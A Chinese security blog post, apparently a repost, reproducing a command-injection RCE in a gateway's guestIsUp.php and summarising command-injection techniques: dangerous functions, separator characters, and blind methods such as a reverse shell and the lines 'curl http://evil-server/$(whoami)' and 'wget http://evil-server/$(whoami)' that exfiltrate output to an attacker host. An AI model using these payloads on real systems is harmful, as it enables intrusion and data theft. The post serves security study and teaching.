注:本篇文章纯属个人意淫行为
本文源于:
昨晚在github看到的一条更新消息,是关于某网关的RCE,然后就想着今天下班了复现一下。于是,便有了这篇水文。
(有图为证)
所谓多个朋友多条路,自然是找了“某位朋友“要了guestIsUp.php文件源码。
/guest_auth/guestIsUp.php:
这都不用分析了,直接exec执行命令。payload就是利用管道符进行命令注入。
直接本地搭建,模拟一下漏洞环境:
源码需要修改,但是漏洞原理不变。
测试开始:
用burp抓包改一下请求方式,上poc.
复现结束,有图为证:
正文开始
命令注入通常因为指Web应用在服务器上拼接系统命令而造成的漏洞。命令注入通常因为指Web应用在服务器上拼接系统命令而造成的漏洞。
该类漏洞通常出现在调用外部程序完成一些功能的情景下。比如一些Web管理界面的配置主机名/IP/掩码/网关、查看系统信息以及关闭重启等功能,或者一些站点提供如ping、nslookup、提供发送邮件、转换图片等功能都可能出现该类漏洞。
常见危险函数
PHP
system
exec
passthru
shell_exec
popen
proc_open
Python
system
popen
subprocess.call
spawn
Java
java.lang.Runtime.getRuntime().exec(command)
常见注入方式
-
分号分割
-
||
&&
&
分割 -
|
管道符 -
rn
%d0%a0
换行 -
反引号解析
-
$()
替换
无回显技巧
-
bash反弹shell
-
DNS带外数据
-
curl http://evil-server/$(whoami)
-
wget http://evil-server/$(whoami)
-
http带外
-
无带外时利用
sleep
或其他逻辑构造布尔条件
参考:
https://github.com/Tas9er/EgGateWayGetShell
Web安全学习笔记
本文始发于微信公众号(don9sec):关于某网关的RCE复现 ?
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论